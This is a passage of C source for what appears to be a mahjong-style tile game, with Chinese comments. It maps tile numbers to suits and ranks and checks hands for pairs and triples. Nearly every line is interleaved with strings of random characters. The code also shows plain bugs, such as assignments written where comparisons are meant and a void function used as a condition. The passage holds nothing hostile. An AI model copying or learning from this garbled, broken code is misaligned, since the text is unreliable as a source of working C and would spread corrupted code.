else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
+ L9 Q6 w: b7 d. C5 jlogoo=5;
* _) B. [5 O- D' Z" h. o- Ielse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)  N: ^1 W6 [# |; m+ K
logoo=6;
) @5 j# R. _( G9 |, f, Felse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
; w& l  X2 q& ]logoo=7;
: d3 L/ s+ R, U+ Helse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)8 I' {' T- R) c. d2 a7 m7 t5 \) ?
logoo=8;
0 X4 F0 P# ]: c( E. Q, |4 felse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
7 s. ~3 ^6 r. j. I4 g. l+ _# D8 Ylogoo=9;- x5 I7 l$ l# l5 v" Y3 Y5 @
}0 i2 z4 v0 j# u. z; j( K: H
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)' g8 y* Q! y; u
{. ~' j/ P- U3 O- Q9 Y/ o
logo=3;% B7 o5 s6 c! l' H
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
6 \( i6 l/ V: g5 p. i& R) blogoo=1;' R, [! \! N( \3 T' ~
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)7 n: ^8 C8 S6 J% k& M
logoo=2;& s* I6 c/ b# r% P
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
- Z- j$ k" `' p3 N" dlogoo=3;
4 V! w& A6 m. T% x6 welse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
1 t4 W6 `6 }1 `6 Q4 llogoo=4;# y! Z+ I7 L# s1 l! m
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)9 b5 l$ V, z/ _
logoo=5;: r  v% D; a0 P) [$ w
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
/ J1 u) g) }! L" k& C* Mlogoo=6;
' P# g- e. o* V& o, Aelse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
  @, j- _4 g* m# y; b3 D1 v% P% Wlogoo=7;: |2 @1 B5 H! ^5 k* Y
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
# ~+ ~) k7 ^  Xlogoo=8;
" i7 h4 {3 H% c. X; r& E0 a2 Pelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)# p/ A. z5 @! j/ y7 y  w
logoo=9;
) g; E* V3 T' j}0 ~0 q1 v% T1 E' V; l
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
4 r4 ?! [/ R1 a{) s) l" \$ e# J+ S, w* c
logo=4;, P% A, ~5 L! z
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
. j. V; s: F1 Z  Ylogoo=1;3 A0 |: L' m6 ]2 j* w, Q
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)! @* h' |2 X$ C0 w% N2 K
logoo=2;: I. _5 e2 u( e4 v) o( E
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)* \" M3 A% B2 H4 k- c
logoo=3;2 C  ~4 }) G: }3 M
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
$ l) k; m! E: F8 b* Y( U7 {logoo=4;
$ l9 a, B% k3 ~: oelse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)3 g: x# _6 h' ?0 U6 p$ x
logoo=5;3 |8 v# C/ P8 {6 |, G( O) c
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
8 H" U+ j: G* ~4 Jlogoo=6;
7 B4 x8 s" |( I6 xelse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)4 ^- \- n2 Y' h' g
logoo=7;2 S0 y# L, q0 |. X: X
}9 c* a: w' n# S
while(b&lt;=me.m)+ u: r& |# H9 Z5 b: v( E
{
9 `1 l* ]! g  ]1 M9 J& G$ [* Gif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
8 r& d- P9 V6 W0 h0 V- p: j{7 h( I; ~0 `" i; G$ D+ r
lg=1;% \! f; H. c  I7 P: n6 B
me.pp.d[0]=1;
- e6 E9 S" g; P9 u* a: lif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)2 t' }+ c' m5 ]: P; U
{
/ T8 B/ {2 `1 X) m9 L) n: g4 Plgg=1;; |! }+ F1 ]5 r0 x
me.pp.d[1]=1;
( t0 y- p, L* ?( y}
/ B. e2 T5 x1 C' n* Selse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
& v6 f: r: ]2 j) ~: R{) @5 o9 E; O/ @7 [0 u
lgg=2;
6 Z" s" S$ @& z! \& u1 @" D: Wme.pp.d[1]=2;! Y+ l  T& Q3 }- E% c
}
* A8 b( c. P4 @7 w9 @2 T  d- Jelse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
: V( F/ \/ d1 w; b" j{" u3 r( x( {+ }
lgg=3;
( s9 x  r: n6 b( y7 [- P$ u# T, `2 Ome.pp.d[1]=3;
/ R, O2 n  n4 w4 b. }}
# {) c+ N/ ]( F- t% H4 }" U; kelse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12). d/ c, ?) G; ~! o; K4 }7 @
{
6 M" l' M- `" I0 c7 Nlgg=4;5 z  W0 K8 g6 h% ^
me.pp.d[1]=4;
- q/ s% k2 `- h2 U9 j}, `* x# ^; S3 ?( o) l
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)! }; G0 T$ S& \, g% Q4 v
{; P; `- f' n) B8 A# D7 u1 P: x4 a
lgg=5;
. z' h+ m6 Y( h" w$ k) Y. G1 o4 eme.pp.d[1]=5;6 P$ n, x, A7 |& u+ l- ~% {7 p
}7 L+ V( O* a0 P+ i
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20): V) b# i4 B  K2 Q; @
{
4 b# r' ~- V! D( M; E/ y: glgg=6;
$ j8 g! `  A9 y# xme.pp.d[1]=6;- {9 L! M4 T2 i
}3 k2 Q: B  B$ T% |+ ~& _
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)/ C$ q5 F8 W: t3 c5 e2 _; \6 E
{
, Y# B( }- E7 ]1 {$ O, Wlgg=7;
6 M2 {( V3 \* S# Ime.pp.d[1]=7;2 A, U$ ^7 ?* p
}
9 L; E( V: D7 S" z8 H7 W2 B! uelse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)4 S% v! w( P6 c5 E
{
5 `9 K( N. z2 E$ ulgg=8;7 [/ y- S8 n3 j. ?6 C. k; n
me.pp.d[1]=8;
/ }0 l) D9 M3 E7 b1 ]}; t! [4 x. m2 Y- w
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32), d5 y. W( F* ?4 R3 d0 F
{3 W- K) n8 u$ j: ^5 e
lgg=9;
9 w5 h9 Z1 A* i+ x! w$ R; L+ D1 Ome.pp.d[1]=9;% R. |% ^. P/ V, C: w1 \
}2 @9 b7 {- Z4 c7 v
}
* p+ q5 b; o& p! yelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)( w* m5 m0 Q! M' |
{% |  a& P: F: u/ w" g! u
lg=2;1 k. P% }  ^3 ?6 e
me.pp.d[0]=2;$ C& V) }) ~; f* K6 u8 u5 o
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
# f* L' q& O% F{
+ v/ l; J) J" Q9 L" Z6 klgg=1;! J$ M/ J) T+ j* Y1 y9 L
me.pp.d[1]=1;. y0 E3 Q4 L6 L% {- W, P$ l
}
7 T7 u/ d1 j& O# ~" R( }8 jelse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)5 D8 v$ P: H9 u, u6 X3 z
{
) z0 Y$ \/ \% n$ z9 P& Hlgg=2;
8 X6 z4 W, b8 U$ I0 dme.pp.d[1]=2;
1 N: k& s' G7 G: v' G}2 }( h. U: J' g3 G
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
/ j2 g7 p; n! i$ g; j{
) {5 E  a2 e6 H7 [2 x6 H. V& S# Slgg=3;
9 n4 K0 l+ T, v3 fme.pp.d[1]=3;" t' K: c5 w! F' }$ A6 j
}, k. s) Z- q  \) J
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
- }4 F3 W9 @/ E{
" t/ |9 s, J8 E4 _% N  n7 b* wlgg=4;  g+ j2 H+ L  V" ^9 k6 G
me.pp.d[1]=4;( \( p* w1 d# f8 i' v# E9 D
}3 F' k9 |- V2 m/ R) p/ \
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
0 Q" n0 ?4 s. o$ d5 M{
0 \; s6 m+ z, }6 W; S# Ylgg=5;$ N: A5 @5 u- V% a4 W4 x2 h
me.pp.d[1]=5;
; F; E! U4 s1 L* _1 x}
. e9 r$ Z! Q2 m6 g" \. I% q+ R% b# Aelse if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
8 F' x- q2 v) V1 B{$ Q8 `$ `8 U# Q; i
lgg=6;! k( g5 U5 K  d; n; Y1 _. J
me.pp.d[1]=6;
  X' s, W% k8 P7 M5 v}
$ ]0 U7 Z& x9 N6 telse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
2 d; b, T! e* P2 q0 G  [  F2 ]{) `3 `) A' R, ?* @, F* }
lgg=7;5 B5 V, t, z1 ?3 [5 j$ n9 K8 \
me.pp.d[1]=7;6 h; F% p# N: O5 t
}
* Q  h' ?: l8 d+ M- ?else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)# N5 G$ m) ~: R$ a& \0 F
{7 x6 `+ i/ c$ S8 s8 {
lgg=8;
6 r# i0 m' K0 k  a; ~$ A' Q" Z7 s0 [me.pp.d[1]=8;. j; y3 b) M0 `5 X
}
. P- ?- Y  y+ }else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)( d. k# m! ~( p; E) R
{
5 a+ U( E$ [: u2 Qlgg=9;( f2 Y+ p  q2 _7 ?3 O6 ~
me.pp.d[1]=9;; F+ S, `! }. Z1 [7 k0 b  D
}
$ z+ P  b1 `$ `  w! ^5 M}
# b; n: i, v. A' f: ]else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
6 `- Z: `0 m4 M& y9 p5 m7 r! Q{
( E  ?' S2 P, v/ Tlg=3;
+ D+ n. j  |, fme.pp.d[0]=3;- g. ]; i) ?" Z2 _8 s- Y/ R) @7 m
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72). r) V0 a2 w2 H0 p* s& h" L
{/ c7 C- U; n% X1 m3 E9 w  W
lgg=1;1 _2 t; u3 o+ B. F. Z- l8 S
me.pp.d[1]=1;0 ~3 f3 h2 c+ l3 h0 Y
}
" M/ G" V' [! s$ relse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)$ @$ Q% Z, a5 G
{. `4 m5 [! G  J1 M8 G# A
lgg=2;
7 e! h' N: W& k+ ome.pp.d[1]=2;9 v0 o5 P/ o7 l# F" \$ k$ ?) Y
}- u% X4 D0 t  A
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
# s) _2 {4 u, c! M{
3 G  {1 \, d2 f% M+ X  F, Mlgg=3;
2 P" Y7 V* Z' m2 `1 W- Q8 @me.pp.d[1]=3;
: K; M; P4 B6 l}
: U/ \  Z1 M' k& ^  Q  Z8 X5 Eelse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
& `+ c# m' W6 X8 |  ^+ f4 \{
- c5 y9 S8 X0 Rlgg=4;2 s9 q/ f6 v4 ^& ^" W  E4 O
me.pp.d[1]=4;' z) }2 r9 s8 G1 \
}- D8 n( k% E6 g6 \
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)4 E5 m1 h/ ?: p: @: T
{
; t. P, W# ]+ X* Olgg=5;
) z( L# h+ W% d  [) M7 r/ dme.pp.d[1]=5;6 p" Q+ n/ K  u8 \# W
}) ~" f0 w1 c; J
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
- [7 W$ h5 Q. `9 U6 n- A{
0 b1 w* o0 B9 q5 R4 o" @  Nlgg=6;6 J& z% b, h0 }! }
me.pp.d[1]=6;
/ d0 v; N, f2 \& j% j8 w* `}
- K; O7 n; h0 h6 Q4 felse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
3 x* d7 F4 `" t+ a3 q" t9 v{
$ }  J. r% V- q+ ~lgg=7;
* M3 z* t* `* ]4 V( tme.pp.d[1]=7;1 f% O0 I+ _0 ^  R. R
}% p( v9 t$ F/ M0 d; f
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)/ T" L4 `9 G7 J0 x" V
{# W2 @! j9 s$ \
lgg=8;
% v- g- Y8 c+ T1 jme.pp.d[1]=8;
" t) l" B( e0 ^% I- p9 w; H}
; R4 U) S( z! yelse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)7 V' \( Z7 ?5 W& x$ p* O. j
{2 r7 z" B# H* v* f0 b" s$ a5 P" b, w
lgg=9;9 c, ?/ o2 ?/ a# ]6 v9 L
me.pp.d[1]=9;
3 O& C* z4 Z7 X- F* W2 e9 h; S}& p7 K  p& Y7 V7 V* S. T
}0 s4 f. N! f7 K
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108): o# t- z8 C& X- s" W
{
5 f0 f( V  k+ i. D4 mlg=4;
) v0 F7 V4 x, D4 `! T; w% ]me.pp.d[0]=4;
6 F3 S# c0 S/ b5 z- S, |( H6 Tif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
; s- W  y6 X4 P9 v7 U6 y# z{
7 h) J/ i0 a) n% hlgg=1;5 T* ?( C# I6 ^8 k7 l# P7 T) V3 [
me.pp.d[1]=1;% d$ b* M* B8 Q  |; i4 p% Z
}
9 S! p8 q0 a6 d; gelse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)# Q% x5 ~1 C# N2 `& D
{, y$ n$ R( f$ |2 ]1 t
lgg=2;, D! Q2 U3 q4 D- B& p" O
me.pp.d[1]=2;
3 r9 s  q/ `; R; M- J' f. @}
7 x1 A7 f' S$ Aelse if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
8 _! I* s( q( w& V# a# a{
. B1 c/ s& G' f+ m  W6 v( J0 e. Q+ clgg=3;
' h- c# v* q- R8 [& Fme.pp.d[1]=3;
2 P9 w* ^5 N" q" s0 ~" U}6 s  g' `7 o7 }$ T3 d
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)1 v3 e$ e! W8 y* F  d8 s' v; Y; U
{
: Y, _' A1 B9 Q5 w9 jlgg=4;
3 U' T! `/ _; e) r5 e' gme.pp.d[1]=4;
- F9 v( [4 i4 }; e3 X/ N" g/ o}' Y, x- T9 m- C5 c7 q4 ~' E
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)9 V3 f% V, M- k9 S7 b. ?! K6 o
{* n  z9 u1 A; N7 t) z
lgg=5;
6 d: q  s# W4 ?( }* m+ j) Yme.pp.d[1]=5;6 w7 _# s2 r& H2 ]: z  M+ j; O
}( j; x5 |2 c6 c+ F3 |8 d
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
* P8 o. [( A. `{
& j! ^' y9 F- P+ klgg=6;
. i4 i! K0 U. u, @) a+ [8 K- dme.pp.d[1]=6;3 y# D& \5 F6 L: i* P
}8 J" A* a! s2 n! M
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
1 V; l4 T0 C6 O- J) f{
# G" C$ {! Z0 r, rlgg=7;$ D, v; `) l) \: j- M
me.pp.d[1]=7;3 E6 j6 }) s+ Q0 a* v
}
1 k, z6 Z8 l! n9 }}
. d4 P( V% k8 b2 T. B}
& e* a8 y  I5 @( T/ m$ w+ G}; n. C& U& r: K7 ^# {" ^
void istwo(testt)
2 T6 T4 @, n% j' ]5 s2 U0 tint testt[];
0 n, U$ r1 ~7 o: X5 R7 h( ^{ if(testt[0]==testt[1])6 v$ d& M( P/ a9 u- [# T
second++;" `% Q  ?2 p7 A5 l- Q
}; o: u0 B1 ]' B: J1 p6 s0 @0 E5 u
void isthree(testt,n)
1 f, `% a, ?5 U# u; v/ k" B$ Xint testt[],n=0;/ U. n! J, V6 \1 r
{ int i,j,flage=0,lianx=0,same=0;7 W9 O* m& L- L0 |- A, N6 D2 S
n=n/3;  {- H0 I" {" Y3 L- s6 ~
for(j=0;j&lt;n;j++)
% n2 L  Q5 A6 r5 E+ ]{2 b/ r0 E" e( w  e  a/ R
for(i=j*3;i&lt;2+j*3;i++)5 n7 m% }4 i: P0 V
{
; r4 k2 A* r. ]0 A7 b9 o  C3 X4 X& H  Aif(testt==testt[i+1])) i4 n4 l- R- \
same++;1 N) H7 e* X& u# c4 H* T2 }
if(testt[i+1]-testt==1)
2 E+ }2 [3 ^- c6 |! \, m! plianx++;' J4 c) V) F0 D* G9 a
}
+ c6 V' v( b! a0 U2 m- V; Oif(same==2)
6 h( t: b, D* c7 L  P: D' Ithrees++;% n2 y0 D5 V2 l. U
if(lianx==2)
2 R) K8 P( I! {threes++;% q$ D& _$ L* F  E
same=0;/ Q+ V7 p( v* U! D
lianx=0;
  \- E* ^" I2 ]- {) B6 N6 _}5 w$ h! i- |' X- |  Q2 ]
}' n  c1 W0 ?. X
void panduan() /*本程序的精髓*/
5 Y. Q0 Z1 g6 X3 T{int data[14];
; r5 n; N8 |/ h$ h8 }) jint pw[14];
$ b  H( }$ _, xint pt[14];' k( o0 I2 _5 L5 c; B0 b% e5 |
int pi[14];2 x' e9 f% f2 p2 n% D( H& _
int pf[14];
6 C7 e7 @3 F7 b9 l/ B3 m& V/ _int test[12];) N& p2 Q/ \- O/ Z( [
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
3 |  e7 [! B3 k, ?for(jj=0;jj&lt;=me.m;jj++)2 L" @" b+ G2 h$ N: r$ y
{- _2 {8 S# }) s  O) Q1 a/ o
if(me.pp[jj].d[0]==1)
4 F, @% M0 e3 M4 A/ kdata[jj]=me.pp[jj].d[1];
1 S* d* C' w! F! |if(me.pp[jj].d[0]==2)
8 G9 W* @0 D$ ~. @! Y  r/ t/ idata[jj]=me.pp[jj].d[1]+10;; b( ]9 `- B& @5 a7 C% a$ H
if(me.pp[jj].d[0]==3)
5 |7 I% e# M9 qdata[jj]=me.pp[jj].d[1]+20;
6 M* [+ j' N1 Wif(me.pp[jj].d[0]==4)8 h, p) [4 b1 X# m. ^
data[jj]=me.pp[jj].d[1]+30;
' T- R/ H3 _* I, n2 `}( z, i# J9 w! c' a) E/ g
if(logo==2)
9 \/ h2 Q* Q+ L# k: @0 [- f6 R( xw=logoo+10;/ i+ m9 M) s. j: B
if(logo==3)
" _$ G4 ]: D5 n3 l$ Z/ }w=logoo+20;1 I3 {$ f% Q/ h: a* [! V9 L0 B: Z/ g
if(logo==4)" o, T% z) L6 C! _9 j# t% h2 R
w=logoo+30;
1 H: ~# b7 `4 ?4 S. z+ v0 i9 s6 Jdata[computer.m+1]=w;+ |* ^. r9 z7 `$ ~
for(mm=0;mm&lt;=computer.m;mm++)
+ `1 G* H: G1 [# ~for(nn=mm;nn&lt;=computer.m;nn++)1 i, \4 p7 ]# ^. O$ N4 ^
if(data[mm]&gt;data[nn+1])
5 N' y- B4 t  _/ T4 G- r* y6 X{
( J) M: ^! L1 etpp=data[mm];7 r0 E3 l4 x; F. Z( h
data[mm]=data[nn+1];7 Q3 [4 U; C0 K
data[nn+1]=tpp;5 J3 l3 w8 w7 r  L: v  F, y6 d: ]
}
) G* T; d& F' R2 Z; N( ]" Q2 ylp=0;6 e2 o) ^1 D( V
while(lp&lt;=computer.m)
1 D8 v& ?' r+ p) G, k{ if(data[lp]&lt;10): ~+ ]3 r/ j% Y# w( R9 o
pw[ww++]=data[lp];$ e3 O, S- ^! ^2 \% q' M! [
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
7 {* M- M$ K, j8 @" I) X" c; n% `pt[tt++]=data[lp];
/ Q. B4 S0 S1 \7 U* rif(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)1 M% E8 c$ L$ u/ c
pi[ii++]=data[lp];9 H/ M$ F. b2 V6 e9 S( N; W4 ^
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)9 R  G8 j+ A) o' N
pf[ff++]=data[lp];9 Q0 w' J# `$ r$ L" O7 W6 [
lp++;. Z7 }( b, s1 W
}
0 l# T& ^9 }7 r+ u) x$ }8 jif(ww==2)
# ], E7 O) D& j3 U* Xistwo(pw);
' A: k) y9 k1 H/ C' @4 _5 k/ felse if(ww==3)
& w4 ]" r) }, {$ e, w' eisthree(pw,ww);
8 M" ^. H& m; q  q- nelse if(ww==5)
6 a+ o- t* {5 X, }! T# v/*pw[5]原始牌数组,假设已经升序排列*/
. B* `) K) J5 E- }* k; M% `& S/*test[3]用来放置测试牌的数组*/
. p: s1 Y' \4 x" W- l5 {# C* H* ufor(i=0;i&lt;4;i++)# c" T* C5 Y& r
{
  X& L5 ~9 w7 n8 m( u& ~! tfor(j=0;j&lt;2;j++)
' ^" o; a9 B) Y% L+ A{test[j]=pw[i+j];
) l4 V3 W- Q/ _9 U}
$ D9 I" L% n6 D4 eif(istwo(test))! v3 L8 B3 N9 M
{ ill=0;- t9 e8 J- H+ E9 M' a
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/2 J5 P; Q- @3 Y
{if(kl==i)
- [, {- c$ Y2 E% X; K  p9 r{6 ]' }3 f) Y$ k/ S( Z
kl=kl+2;' H' y4 d  a7 ]1 R6 H; x
if(kl==5)% X/ G8 y. h* m7 V% U
break;; `5 n# f3 q* E* k+ Q  ]
}/ c/ C0 N+ V. s1 s
test[ill++]=pw[kl];7 Q2 \1 f/ G# e* {
}  R+ }4 Y* S7 }
isthree(test);5 E2 Q0 Q6 P! D4 f" w
}
% M; k' v; [2 \6 o}, G8 l8 ^* R, T$ ]9 X8 r* U- z
else if(ww==6)6 J4 d: m' K0 g0 ^
isthree(pw,ww); " a( [# j# w4 S/ L' G- R
else if(ww==8), s0 i+ d1 ]1 w2 B# F+ h
for(i=0;i&lt;7;i++)
8 f( Q) s* V! V4 }% C, t{  ~$ F* B  T: n; |4 F0 _
for(j=0;j&lt;2;j++)# U, h6 I. m* B0 N* q3 e
{test[j]=pw[i+j];
  j4 U$ s9 X- N/ W3 y}
& m+ E$ ?. F' C8 pif(istwo(test))
' Q  s; T" v* P! L# X) l{ ill=0;3 l0 l8 N; l9 @4 j+ d
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/# p4 c* q/ F# E: q& E; d5 X3 N
{if(kl==i)9 X2 j: O  G' K6 f, b" c3 m" U
{5 j3 d2 F, G1 i0 H4 Q
kl=kl+2;6 F3 P! h* {6 t2 W+ q
if(kl==8)# \7 J' Q" H' Y
break;7 H8 s0 G8 T  y2 o5 k2 F( m0 R/ @* w
}
* o6 S$ I& P  \- [: etest[ill++]=pw[kl];; Z3 Z( f# q& `# S; s- q* ^
}
7 [/ T$ O% Z! F" q8 Z3 q+ fisthree(test,ww-2);
0 V% L; L0 _4 E6 q7 u}: h# b2 n. Y% c. x  q  N
} 8 N! O3 _0 k% |/ \  M9 Y
else if(ww==9)
, x! e* z/ H% v6 G2 y+ _isthree(pw,ww);4 Q2 w+ S4 v: q6 k0 d
else if(ww==11)
$ L/ C3 O( K. L* a2 a8 pfor(i=0;i&lt;10;i++)% u; y3 F- I) F+ ?4 x
{. @& ]7 |7 I" B4 K
for(j=0;j&lt;2;j++)
3 Y* \) h' R6 }9 u) ~{test[j]=pw[i+j];
3 b2 Z/ ]6 Z- c' l; T  X" H( ~}- W7 t3 x% K& t2 [2 r
if(istwo(test))5 {1 s3 Y6 H, {6 w
{ ill=0;* k" e+ `# Q4 ]& `) H
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/3 d, g/ O, A$ u9 R* f; Q. s# e
{if(kl==i)5 E+ A% c8 y9 B- g* P1 a# @) |, d  H
{) r4 T$ T( }) ~; `6 ~7 R. n
kl=kl+2;
$ ]* D$ D: }6 d. [9 h+ aif(kl==11)
1 b) W" R# m4 W! y  t/ k% `1 M' Lbreak;
7 w4 D# C' ~: R, R; ~9 @- |0 h2 N}. J/ w$ E1 M7 A8 j8 h! r
test[ill++]=pw[kl];
, ^$ c, E9 L3 m/ a& y}
: l# F, F  U2 B' qisthree(test,ww-2);
( {8 K/ P$ ~# @2 U/ B% W}
! a6 ^; G: d* ^+ M}
) `# ?. }7 m4 Z' O7 W! }else if(ww=12)4 q1 t+ @9 l+ ?7 b) E- ]
isthree(pw,ww);
; C( c8 X0 I; uelse if(ww=14)
. {# L: V$ x- O5 `0 |; c$ m. }- rfor(i=0;i&lt;13;i++)
* R0 W) d3 P% e5 j/ G- S) w; ^( {{2 W$ C( R  s0 I* R
for(j=0;j&lt;2;j++)& a, ^  Q* V" {* j# Y% t, S
{test[j]=pw[i+j];
6 J5 A8 B0 R- {1 w}
- D5 C* T  C) |5 jif(istwo(test))" H. L0 r' B0 W3 G4 c% v
{ ill=0;. G! g* ^$ L2 ]0 @0 J  d& W, h6 W
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/, `' H. T0 C' `" c$ c$ H  k
{if(kl==i); z& N6 b2 T/ T* ^+ F2 S
{6 f. [& U) W3 h1 k( K
kl=kl+2;
) v# G5 J- w+ w. U+ g( |3 Hif(kl==14). D- Z% A: c2 f% ?+ l+ _9 T6 ~
break;9 i# V6 f- ?2 \
}
8 U" W" ^+ A, O0 [) Htest[ill++]=pw[kl];8 j) S; ]" d$ r, f/ Q
}
+ |+ c) N7 f7 ]3 Yisthree(test,ww-2);
& M* _  |: j  v2 s# a+ p}- F* J; f2 U# m# u8 U7 @
}
/ S: o; R  L, S, ~! |- Pif(tt==2)- i9 q% r( Y' x7 U1 z: W
istwo(pt);' h  m+ D$ t; t6 o
else if(tt==3)3 Y5 Z# \; ~. J/ ~3 b( N# w  v3 _/ `
isthree(pt,tt);& n) ]% V$ j+ R) ~
else if(tt==5)4 `2 {! j6 R$ p0 K  [' ~- k6 x
/*pt[5]原始牌数组,假设已经升序排列*/
5 Y+ C2 y/ F6 @/*test[3]用来放置测试牌的数组*/
  M! r* ~: E: M+ ]' M1 Dfor(i=0;i&lt;4;i++)# O( t; a; `/ y  X
{4 v% E2 b6 n0 A
for(j=0;j&lt;2;j++)
$ G7 F: ]' `/ ?. r% Z8 F{test[j]=pt[i+j];
) \. N* `3 h( E( {6 V1 R}
" |* S" @- ^/ N2 F  B- v( e( c  Bif(istwo(test))
4 A7 b; |" b* w+ V. L: @{ ill=0;. A. _$ Z3 _! {" g/ Q4 Z! C
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
0 O3 @! C7 \; q{if(kl==i)
) D# F& p  @" S{
% E# Y. f6 r! E2 Q1 ^2 r" Ikl=kl+2;; q3 ?" }  }$ S1 Y% B3 F- \
if(kl==5)9 q/ x. U" l7 a6 B
break;: ]0 b* l+ N5 B, o
}
* S4 ^: }1 Z) c% ^test[ill++]=pt[kl];, U8 S4 W+ {7 H- l# u. D  Y" z
}: ?2 `  {3 t$ K8 T
isthree(test);  z& E1 G9 o; k9 A7 v0 s* Y
}
7 H5 r, h; ]. @8 c; m6 X) [3 Y}
5 }5 g. l3 D  e6 R' yelse if(tt==6)
. L/ T+ b! q* q! Cisthree(pt,tt); / T# l0 X& F2 I* @
else if(tt==8)+ G  t* m5 d3 Y; ]  \0 F
for(i=0;i&lt;7;i++)
1 ^5 o& A, x7 m{
1 X" D% L+ D' o; Ifor(j=0;j&lt;2;j++)
% E7 o/ b) t1 \2 u# J" E( ?{test[j]=pt[i+j];
0 h0 Q8 l% O) K- D4 j  @+ n}. S2 ^" r5 N4 G  e. {( W
if(istwo(test))- I) P0 T0 Q5 o+ d
{ ill=0;
3 a; @; F* h* D6 Xfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
7 v- e2 H' m- T- t{if(kl==i), |5 s1 O+ N: g$ v, c
{
# ]& S! |4 T/ ^! [" wkl=kl+2;
; j  t* l# x* Z6 |if(kl==8), d+ W" G9 W5 t: s: R0 G- V/ ?
break;
% K( n3 i7 e7 x$ C6 ~}' r3 u7 r6 R3 e$ t* a, U3 \- f2 }
test[ill++]=pt[kl];
: |2 K- X. W& |  c4 ?}3 H9 W/ [/ Q* C
isthree(test,tt-2); : `3 i! I2 [2 n7 M' R3 H" i9 Q
}* c9 q% b  m7 x) d
} . F+ |& y+ d0 r! a! L
else if(tt==9)
: b0 g: h$ C4 y- w  jisthree(pt,tt);3 p4 R% g' Q) l% [/ P9 _" Q# }# N8 q
else if(tt==11)1 `: F4 L% d/ y4 ?5 b' N9 O3 w. J
